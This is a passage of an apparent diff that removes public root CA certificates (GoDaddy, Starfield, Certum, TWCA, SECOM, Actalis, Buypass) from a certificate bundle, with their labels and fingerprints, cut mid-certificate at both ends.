-QFqNeb+Lz0vPqhbBleStTIo+F5HUsWLlguWABKQDfo2/2n+iD5dPDNMN+9fR5XJ+
-HMh3/1uaD7euBUbl8agW7EekFwIDAQABo4H2MIHzMIGwBgNVHREEgagwgaWBD2lu
-Zm9AaXplbnBlLmNvbaSBkTCBjjFHMEUGA1UECgw+SVpFTlBFIFMuQS4gLSBDSUYg
-QTAxMzM3MjYwLVJNZXJjLlZpdG9yaWEtR2FzdGVpeiBUMTA1NSBGNjIgUzgxQzBB
-BgNVBAkMOkF2ZGEgZGVsIE1lZGl0ZXJyYW5lbyBFdG9yYmlkZWEgMTQgLSAwMTAx
-MCBWaXRvcmlhLUdhc3RlaXowDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
-AQYwHQYDVR0OBBYEFB0cZQ6o8iV7tJHP5LGx5r1VdGwFMA0GCSqGSIb3DQEBCwUA
-A4ICAQB4pgwWSp9MiDrAyw6lFn2fuUhfGI8NYjb2zRlrrKvV9pF9rnHzP7MOeIWb
-laQnIUdCSnxIOvVFfLMMjlF4rJUT3sb9fbgakEyrkgPH7UIBzg/YsfqikuFgba56
-awmqxinuaElnMIAkejEWOVt+8Rwu3WwJrfIxwYJOubv5vr8qhT/AQKM6WfxZSzwo
-JNu0FXWuDYi6LnPAvViH5ULy617uHjAimcs30cQhbIHsvm0m5hzkQiCeR7Csg1lw
-LDXWrzY0tM07+DKo7+N4ifuNRSzanLh+QBxh5z6ikixL8s36mLYp//Pye6kfLqCT
-VyvehQP5aTfLnnhqBbTFMXiJ7HqnheG5ezzevh55hM6fcA5ZwjUukCox2eRFekGk
-LhObNA5me0mrZJfQRsN5nXJQY6aYWwa9SG3YOYNw6DXwBdGqvOPbyALqfP2C2sJb
-UjWumDqtujWTI6cfSN01RpiyEGjkpTHCClguGYEQyVB1/OpaFs4R1+7vUIgtYf8/
-QnMFlEPVjjxOAToZpR9GTnfQXeWBIiGH/pR9hNiTrdZoQ0iy2+tzJOeRf1SktoA+
-naM8THLCV8Sg1Mw4J87VBp6iSNnpn86CcDaTmjvfliHjWbcM2pE38P1ZWrOZyGls
-QyYBNWNgVYkDOnXYukrZVP/u3oDYLdE41V4tC5h9Pmzb/CaIxw==
------END CERTIFICATE-----
-
-# Issuer: CN=Go Daddy Root Certificate Authority - G2 O=GoDaddy.com, Inc.
-# Subject: CN=Go Daddy Root Certificate Authority - G2 O=GoDaddy.com, Inc.
-# Label: "Go Daddy Root Certificate Authority - G2"
-# Serial: 0
-# MD5 Fingerprint: 80:3a:bc:22:c1:e6:fb:8d:9b:3b:27:4a:32:1b:9a:01
-# SHA1 Fingerprint: 47:be:ab:c9:22:ea:e8:0e:78:78:34:62:a7:9f:45:c2:54:fd:e6:8b
-# SHA256 Fingerprint: 45:14:0b:32:47:eb:9c:c8:c5:b4:f0:d7:b5:30:91:f7:32:92:08:9e:6e:5a:63:e2:74:9d:d3:ac:a9:19:8e:da
------BEGIN CERTIFICATE-----
-MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMx
-EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoT
-EUdvRGFkZHkuY29tLCBJbmMuMTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRp
-ZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIz
-NTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQH
-EwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8GA1UE
-AxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIw
-DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKD
-E6bFIEMBO4Tx5oVJnyfq9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH
-/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD+qK+ihVqf94Lw7YZFAXK6sOoBJQ7Rnwy
-DfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutdfMh8+7ArU6SSYmlRJQVh
-GkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMlNAJWJwGR
-tDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEA
-AaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
-FDqahQcQZyi27/a9BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmX
-WWcDYfF+OwYxdS2hII5PZYe096acvNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu
-9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r5N9ss4UXnT3ZJE95kTXWXwTr
-gIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYVN8Gb5DKj7Tjo
-2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
-LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI
-4uJEvlz36hz1
------END CERTIFICATE-----
-
-# Issuer: CN=Starfield Root Certificate Authority - G2 O=Starfield Technologies, Inc.
-# Subject: CN=Starfield Root Certificate Authority - G2 O=Starfield Technologies, Inc.
-# Label: "Starfield Root Certificate Authority - G2"
-# Serial: 0
-# MD5 Fingerprint: d6:39:81:c6:52:7e:96:69:fc:fc:ca:66:ed:05:f2:96
-# SHA1 Fingerprint: b5:1c:06:7c:ee:2b:0c:3d:f8:55:ab:2d:92:f4:fe:39:d4:e7:0f:0e
-# SHA256 Fingerprint: 2c:e1:cb:0b:f9:d2:f9:e1:02:99:3f:be:21:51:52:c3:b2:dd:0c:ab:de:1c:68:e5:31:9b:83:91:54:db:b7:f5
------BEGIN CERTIFICATE-----
-MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx
-EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
-HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs
-ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw
-MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
-b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj
-aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp
-Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
-ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg
-nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1
-HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N
-Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN
-dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0
-HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO
-BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G
-CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU
-sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3
-4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg
-8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
-pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1
-mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
------END CERTIFICATE-----
-
-# Issuer: CN=Starfield Services Root Certificate Authority - G2 O=Starfield Technologies, Inc.
-# Subject: CN=Starfield Services Root Certificate Authority - G2 O=Starfield Technologies, Inc.
-# Label: "Starfield Services Root Certificate Authority - G2"
-# Serial: 0
-# MD5 Fingerprint: 17:35:74:af:7b:61:1c:eb:f4:f9:3c:e2:ee:40:f9:a2
-# SHA1 Fingerprint: 92:5a:8f:8d:2c:6d:04:e0:66:5f:59:6a:ff:22:d8:63:e8:25:6f:3f
-# SHA256 Fingerprint: 56:8d:69:05:a2:c8:87:08:a4:b3:02:51:90:ed:cf:ed:b1:97:4a:60:6a:13:c6:e5:29:0f:cb:2a:e6:3e:da:b5
------BEGIN CERTIFICATE-----
-MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMx
-EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
-HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVs
-ZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
-MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNVBAYTAlVTMRAwDgYD
-VQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFy
-ZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2Vy
-dmljZXMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
-hvcNAQEBBQADggEPADCCAQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20p
-OsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm2
-8xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4PahHQUw2eeBGg6345AWh1K
-Ts9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLPLJGmpufe
-hRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk
-6mFBrMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAw
-DwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+q
-AdcwKziIorhtSpzyEZGDMA0GCSqGSIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMI
-bw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPPE95Dz+I0swSdHynVv/heyNXB
-ve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTyxQGjhdByPq1z
-qwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
-iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn
-0q23KXB56jzaYyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCN
-sSi6
------END CERTIFICATE-----
-
-# Issuer: CN=Certum Trusted Network CA O=Unizeto Technologies S.A. OU=Certum Certification Authority
-# Subject: CN=Certum Trusted Network CA O=Unizeto Technologies S.A. OU=Certum Certification Authority
-# Label: "Certum Trusted Network CA"
-# Serial: 279744
-# MD5 Fingerprint: d5:e9:81:40:c5:18:69:fc:46:2c:89:75:62:0f:aa:78
-# SHA1 Fingerprint: 07:e0:32:e0:20:b7:2c:3f:19:2f:06:28:a2:59:3a:19:a7:0f:06:9e
-# SHA256 Fingerprint: 5c:58:46:8d:55:f5:8e:49:7e:74:39:82:d2:b5:00:10:b6:d1:65:37:4a:cf:83:a7:d4:a3:2d:b7:68:c4:40:8e
------BEGIN CERTIFICATE-----
-MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBM
-MSIwIAYDVQQKExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5D
-ZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBU
-cnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIyMTIwNzM3WhcNMjkxMjMxMTIwNzM3
-WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMg
-Uy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MSIw
-IAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0B
-AQEFAAOCAQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rH
-UV+rpDKmYYe2bg+G0jACl/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LM
-TXPb865Px1bVWqeWifrzq2jUI4ZZJ88JJ7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVU
-BBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4fOQtf/WsX+sWn7Et0brM
-kUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0cvW0QM8x
-AcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNV
-HRMBAf8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNV
-HQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15y
-sHhE49wcrwn9I0j6vSrEuVUEtRCjjSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfL
-I9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1mS1FhIrlQgnXdAIv94nYmem8
-J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5ajZt3hrvJBW8qY
-VoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
-03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
------END CERTIFICATE-----
-
-# Issuer: CN=TWCA Root Certification Authority O=TAIWAN-CA OU=Root CA
-# Subject: CN=TWCA Root Certification Authority O=TAIWAN-CA OU=Root CA
-# Label: "TWCA Root Certification Authority"
-# Serial: 1
-# MD5 Fingerprint: aa:08:8f:f6:f9:7b:b7:f2:b1:a7:1e:9b:ea:ea:bd:79
-# SHA1 Fingerprint: cf:9e:87:6d:d3:eb:fc:42:26:97:a3:b5:a3:7a:a0:76:a9:06:23:48
-# SHA256 Fingerprint: bf:d8:8f:e1:10:1c:41:ae:3e:80:1b:f8:be:56:35:0e:e9:ba:d1:a6:b9:bd:51:5e:dc:5c:6d:5b:87:11:ac:44
------BEGIN CERTIFICATE-----
-MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzES
-MBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFU
-V0NBIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMz
-WhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJVEFJV0FO
-LUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlm
-aWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
-AQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFE
-AcK0HMMxQhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HH
-K3XLfJ+utdGdIzdjp9xCoi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeX
-RfwZVzsrb+RH9JlF/h3x+JejiB03HFyP4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/z
-rX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1ry+UPizgN7gr8/g+YnzAx
-3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
-HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkq
-hkiG9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeC
-MErJk/9q56YAf4lCmtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdls
-XebQ79NqZp4VKIV66IIArB6nCWlWQtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62D
-lhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVYT0bf+215WfKEIlKuD8z7fDvn
-aspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocnyYh0igzyXxfkZ
-YiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw==
------END CERTIFICATE-----
-
-# Issuer: O=SECOM Trust Systems CO.,LTD. OU=Security Communication RootCA2
-# Subject: O=SECOM Trust Systems CO.,LTD. OU=Security Communication RootCA2
-# Label: "Security Communication RootCA2"
-# Serial: 0
-# MD5 Fingerprint: 6c:39:7d:a4:0e:55:59:b2:3f:d6:41:b1:12:50:de:43
-# SHA1 Fingerprint: 5f:3b:8c:f2:f8:10:b3:7d:78:b4:ce:ec:19:19:c3:73:34:b9:c7:74
-# SHA256 Fingerprint: 51:3b:2c:ec:b8:10:d4:cd:e5:dd:85:39:1a:df:c6:c2:dd:60:d8:7b:b7:36:d2:b5:21:48:4a:a4:7a:0e:be:f6
------BEGIN CERTIFICATE-----
-MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDEl
-MCMGA1UEChMcU0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMe
-U2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoX
-DTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRy
-dXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3VyaXR5IENvbW11bmlj
-YXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANAV
-OVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGr
-zbl+dp+++T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVM
-VAX3NuRFg3sUZdbcDE3R3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQ
-hNBqyjoGADdH5H5XTz+L62e4iKrFvlNVspHEfbmwhRkGeC7bYRr6hfVKkaHnFtWO
-ojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1KEOtOghY6rCcMU/Gt1SSw
-awNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8QIH4D5cs
-OPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3
-DQEBCwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpF
-coJxDjrSzG+ntKEju/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXc
-okgfGT+Ok+vx+hfuzU7jBBJV1uXk3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8
-t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6qtnRGEmyR7jTV7JqR50S+kDFy
-1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29mvVXIwAHIRc/
-SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03
------END CERTIFICATE-----
-
-# Issuer: CN=Actalis Authentication Root CA O=Actalis S.p.A./03358520967
-# Subject: CN=Actalis Authentication Root CA O=Actalis S.p.A./03358520967
-# Label: "Actalis Authentication Root CA"
-# Serial: 6271844772424770508
-# MD5 Fingerprint: 69:c1:0d:4f:07:a3:1b:c3:fe:56:3d:04:bc:11:f6:a6
-# SHA1 Fingerprint: f3:73:b3:87:06:5a:28:84:8a:f2:f3:4a:ce:19:2b:dd:c7:8e:9c:ac
-# SHA256 Fingerprint: 55:92:60:84:ec:96:3a:64:b9:6e:2a:be:01:ce:0b:a8:6a:64:fb:fe:bc:c7:aa:b5:af:c1:55:b3:7f:d7:60:66
------BEGIN CERTIFICATE-----
-MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UE
-BhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8w
-MzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
-IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDkyMjExMjIwMlowazELMAkGA1UEBhMC
-SVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1
-ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENB
-MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNv
-UTufClrJwkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX
-4ay8IMKx4INRimlNAJZaby/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9
-KK3giq0itFZljoZUj5NDKd45RnijMCO6zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/
-gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1fYVEiVRvjRuPjPdA1Yprb
-rxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2oxgkg4YQ
-51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2F
-be8lEfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxe
-KF+w6D9Fz8+vm2/7hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4F
-v6MGn8i1zeQf1xcGDXqVdFUNaBr8EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbn
-fpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5jF66CyCU3nuDuP/jVo23Eek7
-jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLYiDrIn3hm7Ynz
-ezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
-ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQAL
-e3KHwGCmSUyIWOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70
-jsNjLiNmsGe+b7bAEzlgqqI0JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDz
-WochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKxK3JCaKygvU5a2hi/a5iB0P2avl4V
-SM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+Xlff1ANATIGk0k9j
-pwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC4yyX
-X04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+Ok
-fcvHlXHo2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7R
-K4X9p2jIugErsWx0Hbhzlefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btU
-ZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXemOR/qnuOf0GZvBeyqdn6/axag67XH/JJU
-LysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9vwGYT7JZVEc+NHt4bVaT
-LnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
------END CERTIFICATE-----
-
-# Issuer: CN=Buypass Class 2 Root CA O=Buypass AS-983163327
-# Subject: CN=Buypass Class 2 Root CA O=Buypass AS-983163327
-# Label: "Buypass Class 2 Root CA"
-# Serial: 2
-# MD5 Fingerprint: 46:a7:d2:fe:45:fb:64:5a:a8:59:90:9b:78:44:9b:29
-# SHA1 Fingerprint: 49:0a:75:74:de:87:0a:47:fe:58:ee:f6:c7:6b:eb:c6:0b:12:40:99
-# SHA256 Fingerprint: 9a:11:40:25:19:7c:5b:b9:5d:94:e6:3d:55:cd:43:79:08:47:b6:46:b2:3c:df:11:ad:a4:a0:0e:ff:15:fb:48
------BEGIN CERTIFICATE-----
-MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
-MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
-Q2xhc3MgMiBSb290IENBMB4XDTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1ow
-TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
-HgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
-BQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1g1Lr
-6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPV
-L4O2fuPn9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC91
-1K2GScuVr1QGbNgGE41b/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHx
-MlAQTn/0hpPshNOOvEu/XAFOBz3cFIqUCqTqc/sLUegTBxj6DvEr0VQVfTzh97QZ
-QmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeffawrbD02TTqigzXsu8lkB
-arcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgIzRFo1clr
-Us3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLi
-FRhnBkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRS
-P/TizPJhk9H9Z2vXUq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN
-9SG9dKpN6nIDSdvHXx1iY8f93ZHsM+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxP
-AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMmAd+BikoL1Rpzz
-uvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAU18h
-9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
-A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3t
-OluwlN5E40EIosHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo
-+fsicdl9sz1Gv7SEr5AcD48Saq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7
-KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYdDnkM/crqJIByw5c/8nerQyIKx+u2
